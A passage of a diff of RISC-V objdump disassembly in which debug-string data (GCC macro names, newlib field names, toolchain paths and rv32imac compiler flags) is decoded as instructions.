+    9e9a:	2d54                	fld	fa3,152(a0)
+    9e9c:	5f3e                	lw	t5,236(sp)
+    9e9e:	69647473          	csrrci	s0,0x696,8
+    9ea2:	296e                	fld	fs2,216(sp)
+    9ea4:	5300                	lw	s0,32(a4)
+    9ea6:	495f 4752 5052      	0x50524752495f
+    9eac:	3020                	fld	fs0,96(s0)
+    9eae:	3030                	fld	fa2,96(s0)
+    9eb0:	3030                	fld	fa2,96(s0)
+    9eb2:	3034                	fld	fa3,96(s0)
+    9eb4:	6d00                	flw	fs0,24(a0)
+    9eb6:	7674                	flw	fa3,108(a2)
+    9eb8:	6c61                	lui	s8,0x18
+    9eba:	4f00                	lw	s0,24(a4)
+    9ebc:	575f 4f52 4c4e      	0x4c4e4f52575f
+    9ec2:	2059                	jal	9f48 <__stack_size+0x9748>
+    9ec4:	0031                	c.nop	12
+    9ec6:	5f46                	lw	t5,112(sp)
+    9ec8:	5352                	lw	t1,52(sp)
+    9eca:	5445                	li	s0,-15
+    9ecc:	4b4c                	lw	a1,20(a4)
+    9ece:	33312057          	0x33312057
+    9ed2:	5f00                	lw	s0,56(a4)
+    9ed4:	414d                	li	sp,19
+    9ed6:	4e494843          	fmadd.q	fa6,fs2,ft4,fs1,rmm
+    9eda:	5f45                	li	t5,-15
+    9edc:	545f 5059 5345      	0x53455059545f
+    9ee2:	485f 0020 5f5f      	0x5f5f0020485f
+    9ee8:	43554e47          	fmsub.d	ft8,fa0,fs5,fs0,rmm
+    9eec:	4d5f 4e49 524f      	0x524f4e494d5f
+    9ef2:	5f5f 3120 5f00      	0x5f0031205f5f
+    9ef8:	535f 4454 5f43      	0x5f434454535f
+    9efe:	5455                	li	s0,-11
+    9f00:	5f46                	lw	t5,112(sp)
+    9f02:	3631                	jal	9a0e <__stack_size+0x920e>
+    9f04:	5f5f 3120 5300      	0x530031205f5f
+    9f0a:	495f 4346 5248      	0x52484346495f
+    9f10:	5f20                	lw	s0,120(a4)
+    9f12:	4649                	li	a2,18
+    9f14:	00524843          	fmadd.s	fa6,ft4,ft5,ft0,rmm
+    9f18:	535f 5355 4345      	0x43455355535f
+    9f1e:	53444e4f          	fnmadd.d	ft8,fs0,fs4,fa0,rmm
+    9f22:	545f 445f 4345      	0x4345445f545f
+    9f28:	414c                	lw	a1,4(a0)
+    9f2a:	4552                	lw	a0,20(sp)
+    9f2c:	2044                	fld	fs1,128(s0)
+    9f2e:	4f00                	lw	s0,24(a4)
+    9f30:	4550                	lw	a2,12(a0)
+    9f32:	5f4e                	lw	t5,240(sp)
+    9f34:	414d                	li	sp,19
+    9f36:	2058                	fld	fa4,128(s0)
+    9f38:	3436                	fld	fs0,360(sp)
+    9f3a:	5f00                	lw	s0,56(a4)
+    9f3c:	555f 4e49 5f54      	0x5f544e49555f
+    9f42:	454c                	lw	a1,12(a0)
+    9f44:	5341                	li	t1,-16
+    9f46:	3154                	fld	fa3,160(a0)
+    9f48:	5f36                	lw	t5,108(sp)
+    9f4a:	5954                	lw	a3,52(a0)
+    9f4c:	4550                	lw	a2,12(a0)
+    9f4e:	5f5f 7320 6f68      	0x6f6873205f5f
+    9f54:	7472                	flw	fs0,60(sp)
+    9f56:	7520                	flw	fs0,104(a0)
+    9f58:	736e                	flw	ft6,248(sp)
+    9f5a:	6769                	lui	a4,0x1a
+    9f5c:	656e                	flw	fa0,216(sp)
+    9f5e:	2064                	fld	fs1,192(s0)
+    9f60:	6e69                	lui	t3,0x1a
+    9f62:	0074                	addi	a3,sp,12
+    9f64:	535f 5f43 454c      	0x454c5f43535f
+    9f6a:	4556                	lw	a0,84(sp)
+    9f6c:	334c                	fld	fa1,160(a4)
+    9f6e:	435f 4341 4548      	0x45484341435f
+    9f74:	4c5f 4e49 5345      	0x53454e494c5f
+    9f7a:	5a49                	li	s4,-14
+    9f7c:	2045                	jal	a01c <__stack_size+0x981c>
+    9f7e:	3331                	jal	9c8a <__stack_size+0x948a>
+    9f80:	0036                	c.slli	zero,0xd
+    9f82:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    9f86:	434d                	li	t1,19
+    9f88:	5541                	li	a0,-16
+    9f8a:	35204553          	0x35204553
+    9f8e:	4900                	lw	s0,16(a0)
+    9f90:	544e                	lw	s0,240(sp)
+    9f92:	414d                	li	sp,19
+    9f94:	5f58                	lw	a4,60(a4)
+    9f96:	414d                	li	sp,19
+    9f98:	2058                	fld	fa4,128(s0)
+    9f9a:	5f5f 4e49 4d54      	0x4d544e495f5f
+    9fa0:	5841                	li	a6,-16
+    9fa2:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    9fa8:	5000                	lw	s0,32(s0)
+    9faa:	435f4d57          	0x435f4d57
+    9fae:	4746                	lw	a4,80(sp)
+    9fb0:	435f 504d 4331      	0x4331504d435f
+    9fb6:	4e45                	li	t3,17
+    9fb8:	4554                	lw	a3,12(a0)
+    9fba:	2052                	fld	ft0,272(sp)
+    9fbc:	7830                	flw	fa2,112(s0)
+    9fbe:	3030                	fld	fa2,96(s0)
+    9fc0:	3230                	fld	fa2,96(a2)
+    9fc2:	3030                	fld	fa2,96(s0)
+    9fc4:	3030                	fld	fa2,96(s0)
+    9fc6:	5000                	lw	s0,32(s0)
+    9fc8:	535f4d57          	0x535f4d57
+    9fcc:	3020                	fld	fs0,96(s0)
+    9fce:	3178                	fld	fa4,224(a0)
+    9fd0:	0030                	addi	a2,sp,8
+    9fd2:	5f46                	lw	t5,112(sp)
+    9fd4:	4c54                	lw	a3,28(s0)
+    9fd6:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
+    9fda:	0032                	c.slli	zero,0xc
+    9fdc:	415f 4654 4c49      	0x4c494654415f
+    9fe2:	5f45                	li	t5,-15
+    9fe4:	52554f53          	0x52554f53
+    9fe8:	5f004543          	fmadd.q	fa0,ft0,fa6,fa1,rmm
+    9fec:	415f4353          	0x415f4353
+    9ff0:	5644                	lw	s1,44(a2)
+    9ff2:	5349                	li	t1,-14
+    9ff4:	5f59524f          	fnmadd.q	ft4,fs2,fs5,fa1,unknown
+    9ff8:	4e49                	li	t3,18
+    9ffa:	4f46                	lw	t5,80(sp)
+    9ffc:	3520                	fld	fs0,104(a0)
+    9ffe:	0034                	addi	a3,sp,8
+    a000:	4d44                	lw	s1,28(a0)
+    a002:	5f41                	li	t5,-16
+    a004:	4552                	lw	a0,20(sp)
+    a006:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
+    a00a:	7366                	flw	ft6,120(sp)
+    a00c:	7465                	lui	s0,0xffff9
+    a00e:	2029                	jal	a018 <__stack_size+0x9818>
+    a010:	525f 4745 3233      	0x32334745525f
+    a016:	4428                	lw	a0,72(s0)
+    a018:	414d                	li	sp,19
+    a01a:	425f 5341 2c45      	0x2c455341425f
+    a020:	6f20                	flw	fs0,88(a4)
+    a022:	6666                	flw	fa2,88(sp)
+    a024:	29746573          	csrrsi	a0,0x297,8
+    a028:	5f00                	lw	s0,56(a4)
+    a02a:	765f 6c6f 7461      	0x74616c6f765f
+    a030:	6c69                	lui	s8,0x1a
+    a032:	2065                	jal	a0da <__stack_size+0x98da>
+    a034:	6f76                	flw	ft10,92(sp)
+    a036:	616c                	flw	fa1,68(a0)
+    a038:	6974                	flw	fa3,84(a0)
+    a03a:	656c                	flw	fa1,76(a0)
+    a03c:	4900                	lw	s0,16(a0)
+    a03e:	544e                	lw	s0,240(sp)
+    a040:	465f 5341 3354      	0x33545341465f
+    a046:	5f32                	lw	t5,44(sp)
+    a048:	414d                	li	sp,19
+    a04a:	2058                	fld	fa4,128(s0)
+    a04c:	5f5f 4e49 5f54      	0x5f544e495f5f
+    a052:	4146                	lw	sp,80(sp)
+    a054:	32335453          	0x32335453
+    a058:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    a05e:	5500                	lw	s0,40(a0)
+    a060:	4e49                	li	t3,18
+    a062:	4d54                	lw	a3,28(a0)
+    a064:	5841                	li	a6,-16
+    a066:	4d5f 5841 5f20      	0x5f2058414d5f
+    a06c:	555f 4e49 4d54      	0x4d544e49555f
+    a072:	5841                	li	a6,-16
+    a074:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    a07a:	4900                	lw	s0,16(a0)
+    a07c:	544e                	lw	s0,240(sp)
+    a07e:	465f 5341 3654      	0x36545341465f
+    a084:	5f34                	lw	a3,120(a4)
+    a086:	494d                	li	s2,19
+    a088:	204e                	fld	ft0,208(sp)
+    a08a:	2d28                	fld	fa0,88(a0)
+    a08c:	4e49                	li	t3,18
+    a08e:	5f54                	lw	a3,60(a4)
+    a090:	4146                	lw	sp,80(sp)
+    a092:	34365453          	0x34365453
+    a096:	4d5f 5841 2d20      	0x2d2058414d5f
+    a09c:	3120                	fld	fs0,96(a0)
+    a09e:	0029                	c.nop	10
+    a0a0:	5f5f 4e49 5f54      	0x5f544e495f5f
+    a0a6:	454c                	lw	a1,12(a0)
+    a0a8:	5341                	li	t1,-16
+    a0aa:	3354                	fld	fa3,160(a4)
+    a0ac:	5f32                	lw	t5,44(sp)
+    a0ae:	5954                	lw	a3,52(a0)
+    a0b0:	4550                	lw	a2,12(a0)
+    a0b2:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
+    a0b8:	6e692067          	0x6e692067
+    a0bc:	0074                	addi	a3,sp,12
+    a0be:	5f5f 4c46 3354      	0x33544c465f5f
+    a0c4:	5f32                	lw	t5,44(sp)
+    a0c6:	4f4e                	lw	t5,208(sp)
+    a0c8:	4d52                	lw	s10,20(sp)
+    a0ca:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    a0d0:	3320                	fld	fs0,96(a4)
+    a0d2:	342e                	fld	fs0,232(sp)
+    a0d4:	3230                	fld	fa2,96(a2)
+    a0d6:	3238                	fld	fa4,96(a2)
+    a0d8:	36363433          	0x36363433
+    a0dc:	32353833          	0x32353833
+    a0e0:	3838                	fld	fa4,112(s0)
+    a0e2:	3935                	jal	9d1e <__stack_size+0x951e>
+    a0e4:	3138                	fld	fa4,96(a0)
+    a0e6:	3731                	jal	9ff2 <__stack_size+0x97f2>
+    a0e8:	3430                	fld	fa2,104(s0)
+    a0ea:	3831                	jal	9906 <__stack_size+0x9106>
+    a0ec:	34383433          	0x34383433
+    a0f0:	3135                	jal	9d1c <__stack_size+0x951c>
+    a0f2:	3936                	fld	fs2,360(sp)
+    a0f4:	3532                	fld	fa0,296(sp)
+    a0f6:	2b65                	jal	a6ae <__stack_size+0x9eae>
+    a0f8:	33463833          	0x33463833
+    a0fc:	0032                	c.slli	zero,0xc
+    a0fe:	5f5f 4955 544e      	0x544e49555f5f
+    a104:	4d5f3233          	0x4d5f3233
+    a108:	5841                	li	a6,-16
+    a10a:	5f5f 3020 6678      	0x667830205f5f
+    a110:	6666                	flw	fa2,88(sp)
+    a112:	6666                	flw	fa2,88(sp)
+    a114:	6666                	flw	fa2,88(sp)
+    a116:	5566                	lw	a0,120(sp)
+    a118:	004c                	addi	a1,sp,4
+    a11a:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+    a11e:	525f 5349 5f45      	0x5f455349525f
+    a124:	4549                	li	a0,18
+    a126:	3020                	fld	fs0,96(s0)
+    a128:	3178                	fld	fa4,224(a0)
+    a12a:	0038                	addi	a4,sp,8
+    a12c:	5f5f 4c46 3654      	0x36544c465f5f
+    a132:	5834                	lw	a3,112(s0)
+    a134:	445f 4e45 524f      	0x524f4e45445f
+    a13a:	5f4d                	li	t5,-13
+    a13c:	494d                	li	s2,19
+    a13e:	5f4e                	lw	t5,240(sp)
+    a140:	205f 2e36 3734      	0x37342e36205f
+    a146:	3135                	jal	9d72 <__stack_size+0x9572>
+    a148:	31313537          	lui	a0,0x31313
+    a14c:	3439                	jal	9b5a <__stack_size+0x935a>
+    a14e:	32303833          	0x32303833
+    a152:	3135                	jal	9d7e <__stack_size+0x957e>
+    a154:	3031                	jal	9960 <__stack_size+0x9160>
+    a156:	3239                	jal	9a64 <__stack_size+0x9264>
+    a158:	3434                	fld	fa3,104(s0)
+    a15a:	35393833          	0x35393833
+    a15e:	3238                	fld	fa4,96(a2)
+    a160:	3732                	fld	fa4,296(sp)
+    a162:	3436                	fld	fs0,360(sp)
+    a164:	3536                	fld	fa0,360(sp)
+    a166:	6535                	lui	a0,0xd
+    a168:	342d                	jal	9b92 <__stack_size+0x9392>
+    a16a:	3639                	jal	9c78 <__stack_size+0x9478>
+    a16c:	4636                	lw	a2,76(sp)
+    a16e:	3436                	fld	fs0,360(sp)
+    a170:	0078                	addi	a4,sp,12
+    a172:	5f46                	lw	t5,112(sp)
+    a174:	5352                	lw	t1,52(sp)
+    a176:	5445                	li	s0,-15
+    a178:	4b4c                	lw	a1,20(a4)
+    a17a:	3120                	fld	fs0,96(a0)
+    a17c:	0031                	c.nop	12
+    a17e:	735f 6474 7265      	0x72656474735f
+    a184:	5f72                	lw	t5,60(sp)
+    a186:	2872                	fld	fa6,280(sp)
+    a188:	2978                	fld	fa4,208(a0)
+    a18a:	2820                	fld	fs0,80(s0)
+    a18c:	7828                	flw	fa0,112(s0)
+    a18e:	2d29                	jal	a7a8 <__stack_size+0x9fa8>
+    a190:	5f3e                	lw	t5,236(sp)
+    a192:	65647473          	csrrci	s0,0x656,8
+    a196:	7272                	flw	ft4,60(sp)
+    a198:	0029                	c.nop	10
+    a19a:	535f 5f43 5346      	0x53465f43535f
+    a1a0:	4e59                	li	t3,22
+    a1a2:	32322043          	fmadd.d	ft0,ft4,ft3,ft6,rdn
+    a1a6:	5f00                	lw	s0,56(a4)
+    a1a8:	454e                	lw	a0,208(sp)
+    a1aa:	42494c57          	0x42494c57
+    a1ae:	535f 4454 4f49      	0x4f494454535f
+    a1b4:	485f 0020 5f5f      	0x5f5f0020485f
+    a1ba:	43554e47          	fmsub.d	ft8,fa0,fs5,fs0,rmm
+    a1be:	505f 5441 4843      	0x48435441505f
+    a1c4:	454c                	lw	a1,12(a0)
+    a1c6:	4556                	lw	a0,84(sp)
+    a1c8:	5f4c                	lw	a1,60(a4)
+    a1ca:	205f 0030 5f5f      	0x5f5f0030205f
+    a1d0:	74656773          	csrrsi	a4,0x746,10
+    a1d4:	28725f63          	bge	tp,t2,a472 <__stack_size+0x9c72>
     a1d8:	5f5f 7470 2c72      	0x2c7274705f5f
-    a1de:	5f20                	lw	s0,120(a4)
-    a1e0:	705f 0029 7872      	0x78720029705f
-    a1e6:	6966                	flw	fs2,88(sp)
-    a1e8:	6f66                	flw	ft10,88(sp)
-    a1ea:	7300                	flw	fs0,32(a4)
-    a1ec:	5f74                	lw	a3,124(a4)
-    a1ee:	6d697463          	bgeu	s2,s6,a8b6 <__stack_size+0xa0b6>
-    a1f2:	7300                	flw	fs0,32(a4)
-    a1f4:	5f74                	lw	a3,124(a4)
-    a1f6:	6c62                	flw	fs8,24(sp)
-    a1f8:	7a69736b          	0x7a69736b
-    a1fc:	0065                	c.nop	25
-    a1fe:	625f7473          	csrrci	s0,0x625,30
-    a202:	6f6c                	flw	fa1,92(a4)
-    a204:	00736b63          	bltu	t1,t2,a21a <__stack_size+0x9a1a>
-    a208:	5f5f 6967 5f64      	0x5f6469675f5f
-    a20e:	0074                	addi	a3,sp,12
-    a210:	6d5f7473          	csrrci	s0,0x6d5,30
-    a214:	6974                	flw	fa3,84(a0)
-    a216:	006d                	c.nop	27
-    a218:	6974                	flw	fa3,84(a0)
-    a21a:	656d                	lui	a0,0x1b
-    a21c:	745f 5f00 7277      	0x72775f00745f
-    a222:	7469                	lui	s0,0xffffa
-    a224:	0065                	c.nop	25
-    a226:	685f 6165 5f70      	0x5f706165685f
-    a22c:	6e65                	lui	t3,0x19
-    a22e:	0064                	addi	s1,sp,12
-    a230:	5f5f 6564 5f76      	0x5f7665645f5f
-    a236:	0074                	addi	a3,sp,12
-    a238:	735f7473          	csrrci	s0,0x735,30
-    a23c:	7a69                	lui	s4,0xffffa
-    a23e:	0065                	c.nop	25
-    a240:	755f7473          	csrrci	s0,0x755,30
-    a244:	6469                	lui	s0,0x1a
-    a246:	5f00                	lw	s0,56(a4)
-    a248:	7369                	lui	t1,0xffffa
-    a24a:	7461                	lui	s0,0xffff8
-    a24c:	7974                	flw	fa3,116(a0)
-    a24e:	5f00                	lw	s0,56(a4)
-    a250:	625f 6b6c 6973      	0x69736b6c625f
-    a256:	657a                	flw	fa0,156(sp)
-    a258:	745f 7300 5f74      	0x5f747300745f
-    a25e:	72617073          	csrci	0x726,2
-    a262:	3465                	jal	9d0a <__stack_size+0x950a>
-    a264:	7300                	flw	fs0,32(a4)
-    a266:	5f74                	lw	a3,124(a4)
-    a268:	6472                	flw	fs0,28(sp)
-    a26a:	7665                	lui	a2,0xffff9
-    a26c:	5f00                	lw	s0,56(a4)
-    a26e:	736f6c63          	bltu	t5,s6,a9a6 <__stack_size+0xa1a6>
-    a272:	0065                	c.nop	25
-    a274:	2e2e                	fld	ft8,200(sp)
-    a276:	7073622f          	0x7073622f
-    a27a:	3033582f          	0x3033582f
-    a27e:	2f30                	fld	fa2,88(a4)
-    a280:	656e                	flw	fa0,216(sp)
-    a282:	62696c77          	0x62696c77
-    a286:	77656e2f          	0x77656e2f
-    a28a:	696c                	flw	fa1,84(a0)
-    a28c:	2e62                	fld	ft8,24(sp)
-    a28e:	5f5f0063          	beq	t5,s5,a86e <__stack_size+0xa06e>
-    a292:	6f6d                	lui	t5,0x1b
-    a294:	6564                	flw	fs1,76(a0)
-    a296:	745f 6600 616c      	0x616c6600745f
-    a29c:	66007367          	0x66007367
-    a2a0:	6c69                	lui	s8,0x1a
-    a2a2:	0065                	c.nop	25
-    a2a4:	6e5f7473          	csrrci	s0,0x6e5,30
-    a2a8:	696c                	flw	fa1,84(a0)
-    a2aa:	6b6e                	flw	fs6,216(sp)
-    a2ac:	7300                	flw	fs0,32(a4)
-    a2ae:	5f74                	lw	a3,124(a4)
-    a2b0:	00646967          	0x646967
-    a2b4:	5f5f 6c62 636b      	0x636b6c625f5f
-    a2ba:	746e                	flw	fs0,248(sp)
-    a2bc:	745f 5f00 6273      	0x62735f00745f
-    a2c2:	6b72                	flw	fs6,28(sp)
-    a2c4:	5f00                	lw	s0,56(a4)
-    a2c6:	695f 6f6e 745f      	0x745f6f6e695f
-    a2cc:	5f00                	lw	s0,56(a4)
-    a2ce:	6568                	flw	fa0,76(a0)
-    a2d0:	7061                	c.lui	zero,0xffff8
-    a2d2:	705f 7274 6200      	0x62007274705f
-    a2d8:	6675                	lui	a2,0x1d
-    a2da:	0066                	c.slli	zero,0x19
-    a2dc:	6e69                	lui	t3,0x1a
-    a2de:	5f007263          	bgeu	zero,a6,a8c2 <__stack_size+0xa0c2>
-    a2e2:	6572                	flw	fa0,28(sp)
-    a2e4:	6461                	lui	s0,0x18
-    a2e6:	7300                	flw	fs0,32(a4)
-    a2e8:	5f74                	lw	a3,124(a4)
-    a2ea:	6564                	flw	fs1,76(a0)
-    a2ec:	0076                	c.slli	zero,0x1d
-    a2ee:	6974                	flw	fa3,84(a0)
-    a2f0:	656d                	lui	a0,0x1b
-    a2f2:	63657073          	csrci	0x636,10
-    a2f6:	5f00                	lw	s0,56(a4)
-    a2f8:	6f5f 6666 745f      	0x745f66666f5f
-    a2fe:	5f00                	lw	s0,56(a4)
-    a300:	7366                	flw	ft6,120(sp)
-    a302:	6174                	flw	fa3,68(a0)
-    a304:	0074                	addi	a3,sp,12
-    a306:	7674                	flw	fa3,108(a2)
-    a308:	6e5f 6573 0063      	0x6365736e5f
-    a30e:	6f5f 6570 006e      	0x6e65706f5f
-    a314:	6d5f7473          	csrrci	s0,0x6d5,30
-    a318:	0065646f          	jal	s0,6031e <__stack_size+0x5fb1e>
-    a31c:	5f5f 6975 5f64      	0x5f6469755f5f
-    a322:	0074                	addi	a3,sp,12
-    a324:	6c5f 6573 6b65      	0x6b6565736c5f
-    a32a:	7300                	flw	fs0,32(a4)
-    a32c:	5f74                	lw	a3,124(a4)
-    a32e:	6e69                	lui	t3,0x1a
-    a330:	5f5f006f          	j	fb124 <__stack_size+0xfa924>
-    a334:	6c6e                	flw	fs8,216(sp)
-    a336:	6e69                	lui	t3,0x1a
-    a338:	00745f6b          	0x745f6b
-    a33c:	615f7473          	csrrci	s0,0x615,30
-    a340:	6974                	flw	fa3,84(a0)
-    a342:	006d                	c.nop	27
-    a344:	5744                	lw	s1,44(a4)
-    a346:	75727473          	csrrci	s0,0x757,4
-    a34a:	2e007463          	bgeu	zero,zero,a632 <__stack_size+0x9e32>
-    a34e:	2f2e                	fld	ft10,200(sp)
-    a350:	2e2e                	fld	ft8,200(sp)
-    a352:	2f2e2e2f          	0x2f2e2e2f
-    a356:	2e2e                	fld	ft8,200(sp)
-    a358:	2f2e2e2f          	0x2f2e2e2f
-    a35c:	2f2e                	fld	ft10,200(sp)
-    a35e:	6972                	flw	fs2,28(sp)
-    a360:	2d766373          	csrrsi	t1,0x2d7,12
-    a364:	2f636367          	0x2f636367
-    a368:	696c                	flw	fa1,84(a0)
-    a36a:	6762                	flw	fa4,24(sp)
-    a36c:	6c2f6363          	bltu	t5,sp,aa32 <__stack_size+0xa232>
-    a370:	6269                	lui	tp,0x1a
-    a372:	32636367          	0x32636367
-    a376:	632e                	flw	ft6,200(sp)
-    a378:	6800                	flw	fs0,16(s0)
-    a37a:	6769                	lui	a4,0x1a
-    a37c:	0068                	addi	a0,sp,12
-    a37e:	72726163          	bltu	tp,t2,aaa0 <__stack_size+0xa2a0>
-    a382:	6569                	lui	a0,0x1a
-    a384:	53550073          	0x53550073
-    a388:	7449                	lui	s0,0xffff2
-    a38a:	7079                	c.lui	zero,0xffffe
-    a38c:	0065                	c.nop	25
-    a38e:	6d6f682f          	0x6d6f682f
-    a392:	2f65                	jal	ab4a <__stack_size+0xa34a>
-    a394:	61736563          	bltu	t1,s7,a99e <__stack_size+0xa19e>
-    a398:	6572                	flw	fa0,28(sp)
-    a39a:	7369722f          	0x7369722f
-    a39e:	672d7663          	bgeu	s10,s2,aa0a <__stack_size+0xa20a>
-    a3a2:	756e                	flw	fa0,248(sp)
-    a3a4:	742d                	lui	s0,0xfffeb
-    a3a6:	636c6f6f          	jal	t5,d09dc <__stack_size+0xd01dc>
-    a3aa:	6168                	flw	fa0,68(a0)
-    a3ac:	6e69                	lui	t3,0x1a
-    a3ae:	6975622f          	0x6975622f
-    a3b2:	646c                	flw	fa1,76(s0)
-    a3b4:	672d                	lui	a4,0xb
-    a3b6:	6e2d6363          	bltu	s10,sp,aa9c <__stack_size+0xa29c>
-    a3ba:	7765                	lui	a4,0xffff9
-    a3bc:	696c                	flw	fa1,84(a0)
-    a3be:	2d62                	fld	fs10,24(sp)
-    a3c0:	67617473          	csrrci	s0,0x676,2
-    a3c4:	3265                	jal	9d6c <__stack_size+0x956c>
-    a3c6:	7369722f          	0x7369722f
-    a3ca:	34367663          	bgeu	a2,gp,a716 <__stack_size+0x9f16>
-    a3ce:	752d                	lui	a0,0xfffeb
-    a3d0:	6b6e                	flw	fs6,216(sp)
-    a3d2:	6f6e                	flw	ft10,216(sp)
-    a3d4:	652d6e77          	0x652d6e77
-    a3d8:	666c                	flw	fa1,76(a2)
-    a3da:	3376722f          	0x3376722f
-    a3de:	6932                	flw	fs2,12(sp)
-    a3e0:	616d                	addi	sp,sp,240
-    a3e2:	6c692f63          	0x6c692f63
-    a3e6:	3370                	fld	fa2,224(a4)
-    a3e8:	2f32                	fld	ft10,264(sp)
-    a3ea:	696c                	flw	fa1,84(a0)
-    a3ec:	6762                	flw	fa4,24(sp)
-    a3ee:	44006363          	bltu	zero,zero,a834 <__stack_size+0xa034>
-    a3f2:	696e7557          	0x696e7557
-    a3f6:	63006e6f          	jal	t3,10a26 <__stack_size+0x10226>
-    a3fa:	6c706d6f          	jal	s10,112c0 <__stack_size+0x10ac0>
-    a3fe:	7865                	lui	a6,0xffff9
-    a400:	6c20                	flw	fs0,88(s0)
-    a402:	20676e6f          	jal	t3,80608 <__stack_size+0x7fe08>
-    a406:	6f64                	flw	fs1,92(a4)
-    a408:	6275                	lui	tp,0x1d
-    a40a:	656c                	flw	fa1,76(a0)
-    a40c:	6300                	flw	fs0,0(a4)
-    a40e:	6c706d6f          	jal	s10,112d4 <__stack_size+0x10ad4>
-    a412:	7865                	lui	a6,0xffff9
-    a414:	6620                	flw	fs0,72(a2)
-    a416:	6f6c                	flw	fa1,92(a4)
-    a418:	7461                	lui	s0,0xffff8
-    a41a:	6300                	flw	fs0,0(a4)
-    a41c:	6c706d6f          	jal	s10,112e2 <__stack_size+0x10ae2>
-    a420:	7865                	lui	a6,0xffff9
-    a422:	6420                	flw	fs0,72(s0)
-    a424:	6c62756f          	jal	a0,31aea <__stack_size+0x312ea>
-    a428:	0065                	c.nop	25
-    a42a:	20554e47          	fmsub.s	ft8,fa0,ft5,ft4,rmm
-    a42e:	20373143          	fmadd.s	ft2,fa4,ft3,ft4,rup
-    a432:	3031                	jal	9c3e <__stack_size+0x943e>
-    a434:	312e                	fld	ft2,232(sp)
-    a436:	302e                	fld	ft0,232(sp)
-    a438:	2d20                	fld	fs0,88(a0)
-    a43a:	636d                	lui	t1,0x1b
-    a43c:	6f6d                	lui	t5,0x1b
-    a43e:	6564                	flw	fs1,76(a0)
-    a440:	3d6c                	fld	fa1,248(a0)
-    a442:	656d                	lui	a0,0x1b
-    a444:	6164                	flw	fs1,68(a0)
-    a446:	796e                	flw	fs2,248(sp)
-    a448:	2d20                	fld	fs0,88(a0)
-    a44a:	616d                	addi	sp,sp,240
-    a44c:	6372                	flw	ft6,28(sp)
-    a44e:	3d68                	fld	fa0,248(a0)
-    a450:	7672                	flw	fa2,60(sp)
-    a452:	6d693233          	0x6d693233
-    a456:	6361                	lui	t1,0x18
-    a458:	2d20                	fld	fs0,88(a0)
-    a45a:	616d                	addi	sp,sp,240
-    a45c:	6962                	flw	fs2,24(sp)
-    a45e:	693d                	lui	s2,0xf
-    a460:	706c                	flw	fa1,100(s0)
-    a462:	2d203233          	0x2d203233
-    a466:	636d                	lui	t1,0x1b
-    a468:	6f6d                	lui	t5,0x1b
-    a46a:	6564                	flw	fs1,76(a0)
-    a46c:	3d6c                	fld	fa1,248(a0)
-    a46e:	656d                	lui	a0,0x1b
-    a470:	6164                	flw	fs1,68(a0)
-    a472:	796e                	flw	fs2,248(sp)
-    a474:	2d20                	fld	fs0,88(a0)
-    a476:	746d                	lui	s0,0xffffb
-    a478:	6e75                	lui	t3,0x1d
-    a47a:	3d65                	jal	a332 <__stack_size+0x9b32>
-    a47c:	6f72                	flw	ft10,28(sp)
-    a47e:	74656b63          	bltu	a0,t1,abd4 <__stack_size+0xa3d4>
-    a482:	2d20                	fld	fs0,88(a0)
-    a484:	4f2d2067          	0x4f2d2067
-    a488:	4f2d2073          	csrs	0x4f2,s10
-    a48c:	2032                	fld	ft0,264(sp)
-    a48e:	4f2d                	li	t5,11
-    a490:	662d2073          	csrs	0x662,s10
-    a494:	7562                	flw	fa0,56(sp)
-    a496:	6c69                	lui	s8,0x1a
-    a498:	6964                	flw	fs1,84(a0)
-    a49a:	676e                	flw	fa4,216(sp)
-    a49c:	6c2d                	lui	s8,0xb
-    a49e:	6269                	lui	tp,0x1a
-    a4a0:	20636367          	0x20636367
-    a4a4:	662d                	lui	a2,0xb
-    a4a6:	6f6e                	flw	ft10,216(sp)
-    a4a8:	732d                	lui	t1,0xfffeb
-    a4aa:	6174                	flw	fa3,68(a0)
-    a4ac:	702d6b63          	bltu	s10,sp,abc2 <__stack_size+0xa3c2>
-    a4b0:	6f72                	flw	ft10,28(sp)
-    a4b2:	6574                	flw	fa3,76(a0)
-    a4b4:	726f7463          	bgeu	t5,t1,abdc <__stack_size+0xa3dc>
-    a4b8:	2d20                	fld	fs0,88(a0)
-    a4ba:	7666                	flw	fa2,120(sp)
-    a4bc:	7369                	lui	t1,0xffffa
-    a4be:	6269                	lui	tp,0x1a
-    a4c0:	6c69                	lui	s8,0x1a
-    a4c2:	7469                	lui	s0,0xffffa
-    a4c4:	3d79                	jal	a362 <__stack_size+0x9b62>
-    a4c6:	6968                	flw	fa0,84(a0)
-    a4c8:	6464                	flw	fs1,76(s0)
-    a4ca:	6e65                	lui	t3,0x19
-    a4cc:	7300                	flw	fs0,32(a4)
-    a4ce:	6968                	flw	fa0,84(a0)
-    a4d0:	7466                	flw	fs0,120(sp)
-    a4d2:	635f 756f 746e      	0x746e756f635f
-    a4d8:	745f 7079 0065      	0x657079745f
-    a4de:	20554e47          	fmsub.s	ft8,fa0,ft5,ft4,rmm
-    a4e2:	20373143          	fmadd.s	ft2,fa4,ft3,ft4,rup
-    a4e6:	3031                	jal	9cf2 <__stack_size+0x94f2>
-    a4e8:	312e                	fld	ft2,232(sp)
-    a4ea:	302e                	fld	ft0,232(sp)
-    a4ec:	2d20                	fld	fs0,88(a0)
-    a4ee:	636d                	lui	t1,0x1b
-    a4f0:	6f6d                	lui	t5,0x1b
-    a4f2:	6564                	flw	fs1,76(a0)
-    a4f4:	3d6c                	fld	fa1,248(a0)
-    a4f6:	656d                	lui	a0,0x1b
-    a4f8:	6164                	flw	fs1,68(a0)
-    a4fa:	796e                	flw	fs2,248(sp)
-    a4fc:	2d20                	fld	fs0,88(a0)
-    a4fe:	616d                	addi	sp,sp,240
-    a500:	6372                	flw	ft6,28(sp)
-    a502:	3d68                	fld	fa0,248(a0)
-    a504:	7672                	flw	fa2,60(sp)
-    a506:	6d693233          	0x6d693233
-    a50a:	6361                	lui	t1,0x18
-    a50c:	2d20                	fld	fs0,88(a0)
-    a50e:	616d                	addi	sp,sp,240
-    a510:	6962                	flw	fs2,24(sp)
-    a512:	693d                	lui	s2,0xf
-    a514:	706c                	flw	fa1,100(s0)
